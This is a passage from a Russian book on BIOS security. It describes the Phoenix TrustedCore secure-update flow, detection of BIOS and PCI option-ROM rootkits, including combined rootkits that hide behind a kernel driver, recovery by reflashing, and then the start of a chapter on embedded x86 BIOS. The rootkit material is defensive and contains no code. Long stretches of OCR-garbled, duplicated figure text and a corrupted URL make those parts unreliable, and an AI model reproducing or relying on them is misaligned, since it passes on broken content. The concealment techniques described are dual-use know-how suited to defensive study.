Конструкция применяемых плат соответствует рекомендациям. Это означает отсутствие аппаратных установок, перемычек или иных незащищенных методов для восстановления BIOS в обход системы защиты.
Для Phoenix TrustedCore BIOS применяется поддержка утилиты прошивки BIOS Phoenix Secure WinFlash.
Имеется инфраструктура для установления управления ключами и заверения образа BIOS цифровой подписью (компания Phoenix предоставляет стартовый набор инструментов для применения на начальном этапе).
Для обновления BIOS применяется утилита прошивки BIOS компании Phoenix Secure WinFlash.
Дополнительные требования:
Все обходные пути (backdoors), позволяющие осуществить незащищенное обновление BIOS, должны быть перекрыты (т. е. восстановление BIOS из блока начальной загрузки допускается, только если корень CRTM заблокирован и невосприимчив к изменениям).
По усмотрению, изготовитель OEM/ODM может выборочно отказаться от блокировки некоторых областей флэш-ROM, не входящих в корень CRTM, и зарезервировать их для любых своих нужд.
Реализуется политика "защиты отката" (rollback protection), при которой уполномоченный пользователь — администратор (administrator) или супервизор (supervisor) может разрешить или запретить (желательно лишь один раз) более старую версию BIOS.
Теперь рассмотрим, каким образом перечисленные требования реализуются в продуктах Phoenix TrustedCore BIOS. Это достигается путем объединения двоичного кода BIOS и утилиты прошивки BIOS в одном "защищенном" исполняемом файле. На данный момент я не смог выяснить, существует ли версия этого двоичного кода для операционных систем, отличных от Windows. Никаких намеков на это в документации от компании Phoenix я не обнаружил.
На рис. 13.5 показана логическая схема процесса прошивки BIOS для двоичного кода Phoenix TrustedCore, приведенная в технической статье, описывающей Phoenix TrustedCore BIOS.
Как показано на рис. 13.5, исполнение любой процедуры обновления Phoenix TrustedCore BIOS всегда начинается в коде блока начальной загрузки. Ни при каких обстоятельствах исполнение этой процедуры не начинается с других, более уязвимых, режимов. Нормальный процесс обновления BIOS исполняется в ветви, обозначенной "Путь S3-resume". Ход исполнения процедуры восстановления BIOS протекает по другой ветви. Тем не менее, процесс обновления Phoenix TrustedCore BIOS является более защищенным по сравнению с большинством процедур обновления BIOS, имеющихся на рынке.
^ Сброс/перезагрузка ^ системы v^ Сброс/перезагрузка ^ системы v;Этот метод обновления BIOS ' рекомендуется применять лишь;Этот метод обновления BIOS ' рекомендуется применять лишьНормальный путь ^ исполнения POST v!хЗащипгпГо?^к Рекомендуется заблокироватьb и другие блоки чипа флэш-ROMЬ при необходимости сК исключаемыми блокамиХХХХХХХХХХХХХХХХХХХХХХХХХНормальный путь ^ исполнения POST v!хЗащипгпГо?^к Рекомендуется заблокироватьb и другие блоки чипа флэш-ROMЬ при необходимости сК исключаемыми блокамиХХХХХХХХХХХХХХХХХХХХХХХХХххх^ is случае крайней необходимостиххх^ is случае крайней необходимостиПуть исполненияS3-resumeПуть исполненияS3-resumeАутентификацияАутентификацияf-j Путь восстановления BIOS ;| N Защитить от записи1 Lxxx№eR^^!чдперация восстановления^I\ BIOS (обновление CRTM NIх запрещено) N!кХ,х.хх.хл..х XX. х х X х-х-х-х-хх х.хХf-j Путь восстановления BIOS ;| N Защитить от записи1 Lxxx№eR^^!чдперация восстановления^I\ BIOS (обновление CRTM NIх запрещено) N!кХ,х.хх.хл..х XX. х х X х-х-х-х-хх х.хХ| ^Сброс/перезагрузка4^4xxxffi»kxxx^'| ^Сброс/перезагрузка4^4xxxffi»kxxx^'
^ Сброс/перезагрузка ^ системы v
^ Сброс/перезагрузка ^ системы v
;Этот метод обновления BIOS ' рекомендуется применять лишь
;Этот метод обновления BIOS ' рекомендуется применять лишь
Нормальный путь ^ исполнения POST v
!хЗащипгпГо?^
к Рекомендуется заблокировать
b и другие блоки чипа флэш-ROM
Ь при необходимости с
К исключаемыми блоками
ХХХХХХХХХХХХХХХХХХХХХХХХХ
Нормальный путь ^ исполнения POST v
!хЗащипгпГо?^
к Рекомендуется заблокировать
b и другие блоки чипа флэш-ROM
Ь при необходимости с
К исключаемыми блоками
ХХХХХХХХХХХХХХХХХХХХХХХХХ
ххх^ is случае крайней необходимости
ххх^ is случае крайней необходимости
Путь исполненияS3-resume
Путь исполненияS3-resume
Аутентификация
Аутентификация
f-j Путь восстановления BIOS ;
| N Защитить от записи
1 Lxxx№eR^^
!чдперация восстановления^
I\ BIOS (обновление CRTM N
Iх запрещено) N
!кХ,х.хх.хл..х XX. х х X х-х-х-х-хх х.хХ
f-j Путь восстановления BIOS ;
| N Защитить от записи
1 Lxxx№eR^^
!чдперация восстановления^
I\ BIOS (обновление CRTM N
Iх запрещено) N
!кХ,х.хх.хл..х XX. х х X х-х-х-х-хх х.хХ
| ^Сброс/перезагрузка4^
4xxxffi»kxxx^'
| ^Сброс/перезагрузка4^
4xxxffi»kxxx^'
Откат версии хх ДА . ч BIOS?Откат версии хх ДА . ч BIOS?истемная политика .позволяет этот откат?истемная политика .позволяет этот откат?НЕТ дАНЕТ дАЗапустить утилитубезопасного обновленияBIOS
Откат версии хх ДА . ч BIOS?
Откат версии хх ДА . ч BIOS?
истемная политика .позволяет этот откат?
истемная политика .позволяет этот откат?
НЕТ дА
НЕТ дА
Ц Ввести данные для iff аутентификации и дать й (приостановить) команду iff .S3.-resu.rne
b Выполнить операцию
НЕТНЕТОбозначения^^ Операции BIOS ЦЦ Операции в ОСОбозначения^^ Операции BIOS ЦЦ Операции в ОС* обновления BIOS N
НЕТ
НЕТ
Обозначения
^^ Операции BIOS ЦЦ Операции в ОС
Обозначения
^^ Операции BIOS ЦЦ Операции в ОС
'Защитить от записи CRTM. ; ^Рекомендуется заблокировать ' ;и другие блоки чипа флэш-ROM ^ 'при необходимости с ; 'исключаемыми блоками '
СГПродолжить выполнение 4b ^З-r^ume и загрузить ОС ^
Рис. 13.5. Процесс обновления BIOS для Phoenix TrustedCore
Рассмотрим более подробно ряд этапов процедуры обновления BIOS, блок- схема которых представлена на рис. 13.5. Ход исполнения обычного обновления Phoenix TrustedCore BIOS протекает по левой ветви блок-схемы (рис. 13.5). Эта ветвь обозначена как "Нормальный путь исполнения POST • В этой ветви исполнение процедуры обновления BIOS начинается под управлением операционной системы (Windows). Обновление осуществляется посредством исполнения приложения Phoenix Secure WinFlash. Снимок экрана при исполнении этой утилиты на ноутбуке Compaq Presario V2718WM показан на рис. 13.6.
Рис. 13.6. Утилита прошивки BIOS Phoenix Secure WinFlash
При исполнении утилиты WinFlash, двоичный код BIOS, который нужно прошить в чип BIOS, сохраняется в буфере в RAM. Затем исполняется следующий шаг процедуры обновления BIOS — инициализируются параметры доступа, необходимые для подтверждения целостности двоичного кода BIOS при обновлении. После этого утилита WinFlash перезапускает машину. В данном случае исполняется не обычная процедура перезапуска, а процедура, подобная процедуре выхода машины из спящего режима S3 ACPI. Ветвь исполнения этого процесса обозначена на рис. 13.5 как "Путь S3-resume". Подробности спящего режима S3 ACPI изложены в 3-й версии спецификации ACPI. Выдержка из этой спецификации, необходимая для понимания излагаемого материала, приводится здесь для вашего удобства.
Выдержка из спецификации ACPI v. 3.0
Системный режим L S3
Логически, режим S3 ниже режима S2, и считается, что он обладает лучшими ■ энергосберегающими характеристиками. В этом режиме компьютер ведет себя следующим образом:
Выполнение инструкций процессорами прекращается. Содержание контекста процессорного комплекса не поддерживается.
Контекст динамической RAM поддерживается.
Ресурсы питания находятся в состоянии, совместимом с системным режимом S3. Все ресурсы питания, характеризующие спящие состояния SO, S1 и S2, отключаются.
Состояния устройств совместимы с текущими состояниями ресурсов питания. Во включенном состоянии могут находиться лишь устройства, которые обращаются только к ресурсам питания, находящимся во включенном состоянии. Во всех остальных случаях, устройство находится в режиме D3 (выключено).
Устройства, которые задействованы для пробуждения системы и которые могут делать это в их текущем состоянии, могут инициировать аппаратное событие, переключающее систему в режим SO. Это переключение заставляет процессор начать исполнение кода в блоке загрузки. BIOS инициализирует основные функции, необходимые для выхода из режима S3, и передает управление исполнением вектору возобновления исполнения программно-аппаратного обеспечения.
С точки зрения программного обеспечения, это состояние функционально равнозначно режиму S2. Но при работе могут наблюдаться различия, заключающиеся в том, что некоторые ресурсы питания, которые могли оставаться включенными в режиме S2, в режиме S3 могут оказаться недоступными. Поэтому, по сравнению с состоянием S2, в состоянии S3 может возникнуть необходимость перевода большего количества устройств в более низкое логическое состояние (DO, D1, D2 или D3). Аналогично, некоторые аппаратные события, вызывающие пробуждение, могут функционировать в состоянии S2, но не в состоянии S3.
Так как контекст процессора во время пребывания в состоянии S3 может быть утерян, переключение в состояние S3 требует сохранения в DRAM всех измененных участков кэш-памяти.
Спящее состояние S3
Состояние S3 определяется как состояние сна с коротким периодом пробуждения. С точки зрения программного обеспечения, это состояние функционально равнозначно состоянию S2.
Ниже приводится пример реализации спящего состояния S3.
Пример: Реализация спящего состояния S3
Когда в регистры slp_typx записывается значение S3 (находящееся в объекте \_S3) и устанавливается бит slp_en, аппаратная часть реализует переключение в состояние сна S3, выполняя следующие операции:
Память устанавливается в состояние авторегенерации (auto refresh) или саморегенерации (self-refresh).
Устройства, обслуживающие память, изолируются от остальных устройств системы.
Отключается питание всех устройств системы, кроме обслуживающих подсистему памяти. Следует отметить, что даже эти устройства могут быть запитаны только частично. Работает только один тактовый генератор — часы реального времени (RTC — real time clock).
В данном случае, пробуждающее событие восстанавливает подачу питания системе и сбрасывает большинство устройств. Какие именно устройства сбрасываются, зависит оттого, каким образом реализован процесс пробуждения.
Исполнение начинается с вектора загрузки процессора. BIOS должна выполнить следующие операции:
Запрограммировать начальную конфигурацию загрузки центрального процессора (например, сконфигурировать регистры MSR и MTRR).
Инициализировать размер и конфигурацию кэш-контроллера начальными значениями загрузки.
Разрешить контроллеру памяти принимать обращения к памяти.
Перейти к вектору пробуждения.
Обратите внимание, что если конфигурация контроллера кэш-памяти оказалась утеряна во время пребывания системы в состоянии сна, то BIOS должна переконфигурировать его или в то состояние, в котором он находился до переключения в спящее состояние, или в исходную конфигурацию, которую он имел на момент загрузки. BIOS может сохранить конфигурационную информацию контроллера кэш-памяти в зарезервированной области памяти, откуда эти данные могут быть извлечены после пробуждения. Механизм OSPM вызывает метод _pts при подготовке к переходу в спящий режим.
Кроме того, на BIOS возложена функция восстановления конфигурации контроллера памяти. Эти конфигурационные данные могут теряться во время пребывания системы в состоянии сна S3. В таком случае, чтобы BIOS могла восстановить их значения при пробуждении системы, состояние до перехода в спящее состояние или первоначальная конфигурация загрузки должны сохраняться BIOS в энергонезависимой области памяти (например, CMOS RAM часов реального времени).
Когда при выходе из состояния сна S3 механизм OSPM снова выполняет эну- мерацию шин, он обнаруживает все добавленные или удаленные устройства и конфигурирует устройства по очередности их включения.
В только что приведенном фрагменте спецификации упоминаются регистры ACPI, называющиеся регистрами slp_typx, где х— однозначный номер. Эти регистры играют важную роль в управлении энергопотреблением системы. Поэтому манипулирование ими изменяет состояние энергопотребления ма-
шины, например, переключает ее в состояние сна. На этом основании можно сделать вывод, что перед перезапуском компьютера, утилита WinFlash манипулирует содержимым этих регистров, чтобы вызвать процесс S3-resume немедленно после перезапуска машины.
На следующем шаге нормальной процедуры обновления BIOS (см. рис. 13.5) проверяется аутентичность двоичного файла BIOS, который требуется прошить. Процесс аутентификации использует параметры доступа, сохраненные в буфере RAM утилитой WinFlash на предыдущем шаге, когда машина еще находилась под управлением Windows. Обратите внимание, что в состоянии сна S3 содержимое RAM из предыдущего сеанса сохраняется без изменений. Вот почему идентификационные параметры присутствуют в RAM и доступны для процесса аутентификации, который исполняется в контексте кода BIOS для процесса S3-resume. На данном этапе, компьютер исполняет процедуру обновления BIOS в контексте процесса S3-resume. Поэтому возможно, что BIOS исполняет не процедуру, находящуюся в ее собственном двоичном коде, а вместо этого переходит к определенной утилите прошивки, находящейся в буфере RAM, которая была сохранена там утилитой WinFlash перед перезапуском компьютера. Я не могу с уверенностью сказать, что полностью и в деталях изучил этот процесс, так как он не описан в официальной документации. Если вам интересно знать подробности работы утилиты WinFlash, вы можете попробовать дизассемблировать ее. Версию утилиты WinFlash для ноутбука Compaq Presario V2718WM можно скачать по адресу http://hl0025.wwwl.hp.com/ewMwc/softwareDownloadIndex7softwareitem3: ob-43515-1&lc=en&cc=us&dlc3:en&tool=softwareCategory&product= 3193135&query=Presario%20v2718&os=228. По умолчанию, исполняемый файл, загружаемый с этого адреса, после установки будет помещен в каталог C:\Program Files\SP33749.
Перейдем к рассмотрению следующего этапа: проверки версии BIOS при исполнении отката. Здесь процедура обновления BIOS проверяет, не было ли сделано запроса на откат версии BIOS. В случае положительного ответа на данный вопрос, процедура обновления BIOS проверяет, позволяет ли системная политика выполнить откат. Если откат запрещен, то запрошенная операция выполнена не будет. Если же откат разрешен, процедура обновления BIOS заменит текущую версию BIOS более старой. Наконец, если текущий запрос не является запросом на выполнение отката версии BIOS, то процедура обновления BIOS прошивает новый двоичный код BIOS в чип ROM BIOS. После выполнения этой операции, на чип ROM BIOS устанавливается зашита от записи, чтобы предотвратить несанкционированное изменение его содержимого. После установки защиты от записи на чип ROM BIOS, процесс S3-resume входит в завершающую стадию, на которой загружается операционная система.
Что касается ветви исполнения восстановления BIOS, не использующей аутентификацию BIOS, то в этом случае система загружается с блока начальной загрузки и выполняет процедуру обновления BIOS. Как показано на блок-схеме (см. рис. 13.5), данная процедура не модифицирует корень CRTM (т. е. блок начальной загрузки). Хотя эта процедура и не является настолько ясе защищенной, как и рекомендуемая процедура безопасного обновления BIOS с выполнением аутентификации, она все же значительно усложняет задачу несанкционированного модифицирования содержимого BIOS. В данном случае злоумышленник может внедрить свой код лишь в область BIOS, находящуюся вне блока начальной загрузки. Такое действие можно легко обнаружить с помощью процедуры проверки целостности BIOS, расположенной в блоке начальной загрузки.
В любом случае, необходимо иметь в виду, что процедура обновления BIOS утилиты Phoenix Secure WinFlash исполняется в контексте S3-resume, который не является обычным контекстом исполнения процессора. Это безопасный способ модификации содержимого чипа BIOS, так как злоумышленнику непросто сделать это удаленным способом. В контексте S3-resume компьютер не работает в контексте операционной системы. Это означает, что он изолирован от внешнего мира.
Я провел предварительные исследования утилиты Pnoenix Secure WinFlash в IDA Pro 4.9 и обнаружил, что она скомпилирована с помощью компилятора Borland. Однако дальнейшие исследования еще только планируются.
Согласно требованиям стандарта группы TCG, целостность BIOS расширения PCI проверяется с помощью регистра PCR. Но такими регистрами снабжаются лишь системы со встроенным в материнскую плату чипом ТРМ. По данной причине этот способ защиты BIOS плат расширения PCI неприменим в большинстве существующих настольных и серверных систем.
В завершение этого раздела я бы хотел дать следующую рекомендацию — обязательно прочтите документ TCG PC Client Specific Implementation Specification for Conventional BIOS ("Спецификация группы TCG реализации клиента PC для традиционных BIOS"). Возможно, вы найдете в нем некоторые идеи, реализовав которые вы сможете защитить BIOS ваших систем от различных угроз безопасности.
Распознавание систем с нарушенной безопасностью
В предыдущем разделе мы рассмотрели методы, применяемые для предотвращения внедрения руткитов BIOS в систему. В этом разделе мы рассмотрим методы, позволяющие выяснить, не заражена ли система руткитом BIOS.
Распознавание BIOS материнской платы с нарушенной безопасностью
Наиболее простой способ обнаружить присутствие руткита BIOS на компьютере заключается в сравнении текущей BIOS с идентичной BIOS, скачанной с сайта поставщика. В данном контексте "идентичная" означает файл BIOS точно такой же версии, как и файл BIOS, установленной на исследуемом компьютере. Справиться с этой задачей вам может помочь строка bios id. Обычно строка bios id имеет следующий формат:
дата_выпуска_В105-10_чипсета_материнской_платы-10_чипа_контроллера_ввода/вывода- код_выпуска_В1О5-версия_В105
В зависимости от поставщика, компонент версия_вюэ строки bios id может быть комбинацией цифры и буквы или же состоять только из цифр. Во многих случаях информация о дате выпуска BIOS является достаточной, чтобы найти и скачать идентичную BIOS с сайта поставщика. Удостовериться в правильности скачанной BIOS можно, сравнив ее строку bios id со строкой bios id текущей BIOS. Имея в своем распоряжении эталонную BIOS, проверить целостность BIOS исследуемой системы можно, выполнив побайтовое сравнение обеих BIOS при помощи любого hex-редактора или иной аналогичной утилиты. Однако этот подход сопряжен с определенной проблемой — если BIOS на сайте поставщика заражена таким же руткитом, то установить подлинность подозреваемой BIOS, сравнивая ее с такой "эталонной" BIOS, не удастся.
Основы внедрения кода в BIOS методом таблицы перехода POST были изложены в разд. 6.2 главы 6. Бороться против такого способа внедрения постороннего кода в BIOS можно, проверяя таблицу переходов POST в системной BIOS с помощью специально созданного для этой цели распаковщика. Разработка такого распаковщика для Award BIOS и большинства других существующих BIOS не должна представлять особых трудностей. В этих BIOS применяется алгоритм сжатия, основанный на вариантах алгоритма Лемпель- Зива с последующим кодированием алгоритмом Хаффмана. Предварительную разработку распаковщика можно ускорить, используя сценарии или подключаемые модули IDA Pro или же IDA Python. Основной принцип работы такого распаковщика заключается в том, что при распаковке он сканирует таблицу переходов POST на присутствие подозрительных элементов. Кроме того, можно реализовать и сканирование элементов на присутствие подозрительных сигнатур.
Помимо этого, присутствие руткита BIOS можно выявить, сравнив цифровые подписи подозреваемой и эталонной BIOS. Но для этого необходимо позабо-
титься о создании цифровой подписи еще до того, как возникнет необходимость в проверке целостности BIOS.
Можно также применить подход, используемый для обнаружения вирусов, и проверить подозреваемую BIOS на наличие сигнатур известных руткитов. Опять же, этот метод окажется действенным лишь при наличии предварительно подготовленных сигнатур для довольно большого количества руткитов.
Наконец, существует возможность инфицирования системы комбинированным руткитом. Такой руткит состоит из драйвера режима ядра, внедренного в операционную систему, и собственно руткита BIOS. Типичная логическая архитектура такого руткита показана на рис. 13.7.
Цель руткита, реализованного в виде драйвера режима ядра, заключается в маскировке присутствия руткита BIOS. Эта цель достигается путем фильтрации операций чтения и записи в диапазоне адресов чипа BIOS
Руткит, реализованный в виде драйвера режима ядра
Операционная система BIOS
Руткит BIOS
Рис. 13.7. Логическая архитектура комбинированного руткита BIOS
Как показано на рис. 13.7, назначением драйвера режима ядра комбинированного руткита является сокрытие присутствия собственно руткита BIOS от обнаружения при сканировании детектором руткитов диапазона адресов чипа BIOS. В Windows-системах для сокрытия руткита BIOS обычно накладываются заплатки обхода на определенные функции API режима ядра, предназначенные для управления памятью. Так, например, драйвер устройства режима ядра перехватывает подлинную функцию MmMapioSpace и возвращает вызывающей процедуре детектора руткитов поддельный результат исполнения этой функции. Драйвер устройства, работающий в режиме ядра, может спрятать подлинный двоичный файл BIOS в "битом" секторе жесткого диска, а в ответ на запросы детектора руткитов на чтение диапазона адресов BIOS
возвращать ему эти сохраненные данные. Чтобы бороться с подобными комбинированными руткитами, необходимо применять различные способы обнаружения руткитов режима ядра. Например, при одном из таких подходов функция ядра MmMapiospace сканируется на целостность. Правда, детальное рассмотрение способов реализации такого сканирования выходит за пределы этой книги.
В разд. 13.1.3 было показано, что инфицирование руткитом BIOS всех компьютеров, находящихся в сети организации, может осуществляться через интерфейсы WBEM. По этой причине, необычно высокий объем трафика через данный интерфейс может служить признаком возможной атаки, направленной на инфицирование системы руткитом BIOS.
Распознавание инфицированной BIOS платы расширения PCI
Обнаружить руткит BIOS платы расширения PCI относительно проще, чем выполнить аналогичную задачу по обнаружению руткита BIOS материнской платы. Причина этого заключается в том, что BIOS плат расширения PCI имеют более простую структуру. Признаком возможного инфицирования BIOS платы расширения PCI руткитом может служить одно или несколько из следующих обстоятельств:
В чипе ROM BIOS платы расширения PCI практически нет свободного пространства. В большинстве случаев, двоичный код незараженной BIOS платы расширения PCI не заполняет все доступное адресное пространство чипа ROM BIOS, и в чипе всегда остается хоть немного свободного пространства. Поэтому до предела заполненный кодом чип BIOS платы расширения PCI является поводом для подозрений.
Управление ходом исполнения легко перенаправить с оригинальной точки входа BIOS платы расширения PCI по другому адресу. Поэтому странный адрес точки входа BIOS платы расширения PCI должен насторожить вас. Примером такого странного адреса может быть адрес, указывающий на ячейку, лежащую возле нижней границы диапазона адресов чипа ROM BIOS расширения PCI (см. рис. 12.12 в главе 12\ Аналогичным образом, с подозрением нужно рассматривать точку входа BIOS платы расширения PCI, которая передает управление странной процедуре, работающей с устройствами, не имеющими никакой логической связи с платой расширения, обслуживаемой данной BIOS. Примером такой ситуации может служить вызов процедуры для работы с жестким диском из BIOS видеоплаты расширения PCI.
0 Также должно настораживать обнаружение в операционной системе руткита, реализованного в виде драйвера устройства режима ядра. Особенно неприятна ситуация, когда внедренный драйвер устройства режима ядра модифицирует функции ядра, обслуживающие отображенные на память устройства ввода-вывода. Примером может служить руткит, модифицирующий функцию ядра MmMapioSpace в Windows. Как было показано в главе 12, чипы BIOS некоторых плат расширения PCI отображаются на адресное пространство ввода-вывода, отображенное на память. Если руткит внедряется в BIOS такой платы, злоумышленник должен перехватывать любые обращения к диапазону адресов чипа BIOS платы расширения, с тем чтобы возвратить поддельные результаты, маскирующие таким образом присутствие руткита.
Наконец, необходимо обращать внимание на любые различия между исследуемой BIOS платы расширения PCI и эталонной BIOS платы расширения, скачанной с сайта поставщика.
Кроме вышеизложенных принципов обнаружения руткитов BIOS, можно сгенерировать хеш-значение заведомо целостной BIOS расширения PCI. Впоследствии, при наличии подозрений в том, что BIOS была инфицирована, ее целостность можно проверить, сравнив ее текущее хеш-значение с сохраненным. Различия между хеш-значениями означают, что BIOS была модифицирована, и одной из причин этой модификации может быть инфицирование руткитом BIOS.
Восстановление нарушенной безопасности
Восстановление системы, инфицированной руткитом BIOS, не представляет больших трудностей. Для этого лишь необходимо заменить инфицированный файл BIOS заведомо целостным. Как было показано в предшествующих разделах, на сегодняшний день стандарты TCG реализуются далеко не во всех системах. Поэтому прошить исправную BIOS в таких системах легче, так как это можно сделать в реальном режиме, т. е. из-под DOS. Чтобы осуществить эту задачу, необходимо выполнить следующие операции:
Если инфицирована BIOS материнской платы, прошейте заведомо целостный файл BIOS в чип ROM BIOS материнской платы. Этот процесс необходимо выполнить в реальном режиме, т. е. под управлением DOS. В противном случае, если руткит, от которого вы хотите избавиться, является комбинированным, вы не сможете узнать, действительно ли процедура
прошивки завершилась успешно или же сообщение о ее успешном выполнении было выдано драйвером устройства режима ядра.
Если инфицирована BIOS платы расширения PCI, прошейте заведомо целостный файл BIOS в чип ROM BIOS данной платы расширения Большинство утилит, предназначенных для прошивки чипов BIOS плат расширения PCI, работают в DOS. Если имеющаяся у вас утилиза не работает в DOS, то следует найти подходящую утилиту', работающую в DOS. Как и в случае с BIOS материнской платы, при выполнении прошивки BIOS платы расширения PCI из-под Windows или другой операционной системы высокого уровня, например Linux, вы можете быть введены в заблуждение ложным сообщением об успехе, сфальсифицированным драйве ром устройства режима ядра, являющимся частью комбинированного руткита.
В случае если попытка руткита инфицировать BIOS материнской платы или платы расширения PCI была неудачной, существует вероятность того, что компьютер окажется не в состоянии загрузить операционную систему. Если чип BIOS установлен в гнездо, то устранение этой неполадки не представляет никаких проблем. Вы просто извлекаете чип BIOS и прошиваете в него чистую BIOS в другом месте. Но вот если чип BIOS впаян в плату, трудности у вас возникнут. В этом случае, чтобы прошить в инфицированный чип чистую BIOS, можно воспользоваться приемом, описанным в разд. 7.3.6. Подробная информация о применении данного приема для прошивки BIOS плат расширения PCI была приведена в разд. 7.3.6. Здесь же будет приведено краткое описание этой процедуры при прошивке BIOS материнской платы. Основной принцип остается таким же, т. е. нам необходимо вызвать ошибку контрольной суммы. Но в данном случае ошибку контрольной суммы системной BIOS необходимо вызвать таким образом, чтобы код блока начальной загрузки переключился в режим восстановления. Процедура, позволяющая достигнуть данной цели, состоит из следующих шагов:
Подготовьте дискету с чистым восстановительным файлом BIOS. Вставьте дискету в дисковод.
Во время загрузки операционной системы, кратковременно закоротите выводы двух самых старших битов адреса чипа BIOS материнской платы. При выполнении этой операции необходимо соблюдать осторожность, так как даже кратковременный контакт с другими выводами или дорожками может легко повредить материнскую плату.
При исполнении кода блока начальной загрузки для режима восстановления BIOS восстановительный файл BIOS будет автоматически считан с дискеты и прошит в чип BIOS.
На некоторых материнских платах подобраться к нужным выводам — задача не из легких. Вероятнее всего, самостоятельно восстановить BIOS таких материнских плат в домашних условиях вам не удастся.
Теперь осталось рассмотреть лишь удаление драйвера устройства режима ядра, являющегося самостоятельным руткитом или частью комбинированного руткита BIOS. Поскольку этот вопрос детально освещен в многочисленных книгах и статьях, в этой книге он не рассматривается. Этот тип руткита считается заурядным.
На этом рассмотрение способов защиты BIOS можно считать завершенным. Освоив основы, изложенные в этой главе, вы можете продолжить исследование этой темы самостоятельно.
I# #> Sample;. if^cfq\f i.(# # £De fi he\pгерroces s</dmy-'peoject;^?!^##. Set, extended-* leng
!№fo'4;/.;>^^^
Wg";уг'T.-.-- ;'<,;1t## * Additional .directi$## rfileV,^bef6re^the
Часть V
НОВЫЕ ПРИМЕНЕНИЯТЕХНОЛОГИЙ BIOS
Глава 14
Технология BIOS встроенных систем х86
Введение
Традиционно, технология BIOS систем архитектуры х86 применяется в настольных системах и серверах. В данной главе мы вкратце рассмотрим ее применения не в этой традиционной области, а в сетевых устройствах и в бытовой электронике. Эта тема интересна тем, что архитектура х86 в ближайшем будущем проникнет почти во все сферы нашей жизни — причем не в виде обычных настольных компьютеров, а в виде встроенных систем. Компания Advanced Micro Devices (AMD) занимается воплощением в жизнь своей идеи "х86-системы повсюду” с 2005 года. Кроме того, поскольку наша повседневная деятельность все больше зависит от этой архитектуры, вопросы безопасности ее BIOS становятся все более актуальными. Поэтому данной теме тоже будет уделено необходимое внимание.
Архитектура BIOS встроенных систем х86
Тема встроенных систем иногда пугает программистов, которые никогда не работали с этим классом вычислительных устройств. Программисты, привыкшие разрабатывать программное обеспечение для настольных компьютеров и серверов, часто рассматривают разработку программного обеспечения для встроенных устройств как нечто экзотическое. Но, как вы вскоре убедитесь, встроенные устройства на основе архитектуры х86 имеют много общего с их настольными и серверными аналогами. Поэтому в программировании таких устройств нет ничего непосильного.
Начнем рассмотрение заявленной темы с процесса загрузки операционной системы. Встроенные системы х86 можно подразделить на два класса.
К первому классу относятся устройства, чья операционная система хранится на дополнительном запоминающем устройстве. Ко второму классу принадлежат устройства, чья операционная система является частью BIOS. Процесс загрузки операционной системы для встроенных устройств каждого из этих классов показан на рис. 14.1 и 14.2.
Рис. 14.1. Загрузка операционной системы, являющейся частью BIOSРис. 14.1. Загрузка операционной системы, являющейся частью BIOSРис. 14.2. Загрузка операционной системы,хранящейся на вспомогательномзапоминающем устройстве
Рис. 14.1. Загрузка операционной системы, являющейся частью BIOS
Рис. 14.1. Загрузка операционной системы, являющейся частью BIOS
Операционная система, являющаяся частью BIOS (рис. 14.1), исполняется как часть процедуры POST. Пример реализации этой идеи изложен в разд. 14.2.1. Вследствие ограниченности доступного пространства в BIOS, в большинстве случаев, встроенная операционная система, являющаяся частью BIOS, сжимается.
Концепция загрузки операционной системы встроенной системы х86, показанная на рис. 14.2, более консервативна. Здесь операционная система загружается с дополнительного запоминающего устройства, а сам процесс в зна-
чительной мере подобен загрузке операционной системы на настольном компьютере или сервере. В качестве загрузочного устройства может использоваться твердотельный диск CompactFlash, жесткий диск или другое запоминающее устройство большой емкости. Обратите внимание, что блок-схема, представленная на рис. 14.2, не отражает того, что процесс загрузки операционной системы для встроенной системы х86 является специализированной процедурой. Хотя процесс загрузки ОС для встроенной системы х86 с дополнительного носителя и похож на процесс загрузки операционной системы для обычного PC или сервера, тем не менее, это не точно такой же процесс. Так, например, операционная система встроенной системы х86 для системы навигации легкового автомобиля должна загрузиться как можно быстрее. Поэтому BIOS для такой системы должна быть оптимизирована для этой цели. Поэтому разработчики должны свести к минимуму количество избыточных проверок в процедуре POST. Кроме того, как можно большее количество параметров настройки должно быть жестко прошито.
BIOS некоторых встроенных систем х86 являются гибридами BIOS обычных настольных PC и BIOS, показанной на рис. 14.1. Пользователь системы с такой BIOS может выбирать между загрузкой операционной системы, являющейся частью BIOS, и загрузкой операционной системы традиционным способом — с внешнего носителя (как для настольного компьютера). Во втором случае, предоставляется возможность выбора между загрузкой обычной операционной системы для настольного компьютера и загрузкой другой ОС, предназначенной для встроенной системы х86. Обратите внимание, что в случае с гибридной BIOS, одновременная загрузка двух операционных систем невозможна.
Логическая схема типичной общесистемной архитектуры встроенной системы х86 с операционной системой, загружаемой с дополнительного запоминающего устройства, показана на рис. 14.3.
Блок-схема встроенной системы х86 с операционной системой, представляющей собой часть BIOS, показана на рис. 14.4.
Хотя это обстоятельство и не отражено на рис. 14.3 и 14.4, необходимо лишний раз напомнить, что BIOS обеих систем являются узкоспециализированными и ориентированы на исполнение целевых приложений. Как правило, встроенные системы оптимизируются для выполнения конкретной задачи. Соблюдение этого требования очень важно, так как это снижает стоимость и повышает общую производительность системы. Термин "специализированная прикладная программа" на рис. 14.3 и 14.4 означает программу, работающую под управлением операционной системы и обслуживающую пользователя встроенной системы х86.
Встроенная система х86
Рис. 14.3. Типичная архитектура встроенной х86-системы с операционной системой, загружаемой с вспомогательного устройства хранения данных
Встроенная система х86
Рис. 14.4. Типичная архитектура встроенной системы х86 с операционной системой, интегрированной в BIOS
Примеры реализации BIOS встроенных систем х86
В данном разделе мы рассмотрим, как реализуются BIOS встроенных систем х86. Приводятся три примера — компьютерная приставка к телевизору, сетевое устройство и киоск. Компьютерная приставка рассматривается подробно, а две другие системы — лишь в общих чертах.
Компьютерная приставка к телевизору
Оригинальное английское название компьютерной приставки к телевизору — TV set-top box (коробочка, которая лежит на телевизоре). В дальнейшем, во избежание многословности, будем называть ее просто приставкой или устройством STB. Приставка STB — это устройство, подключаемое к внешнему источнику сигнала и преобразующее этот сигнал в изображение для вывода на экран. В большинстве случаев, для вывода изображения используется экран телевизора. Внешним источником сигнала может служить коаксиальный кабель (кабельное телевидение), сеть Ethernet, спутниковая антенна, телефонная линия (включая DSL") или же антенна УВЧ либо СВЧ. Тем не менее, приведенный список внешних источников сигнала не является жестко заданным. Например, в данном разделе к внешним источником сигнала отнесены и устройства на основе PC. Наконец, даже если система и не подключается ни к одному из перечисленных в предшествующем определении источников внешнего сигнала, но если она способна воспроизводить мультимедийную информацию, не загружая при этом полноценной ОС для настольного компьютера или сервера, она считается устройством STB. Воспроизведение мультимедийного содержимого в данном контексте должно также включать возможность воспроизведения видео.
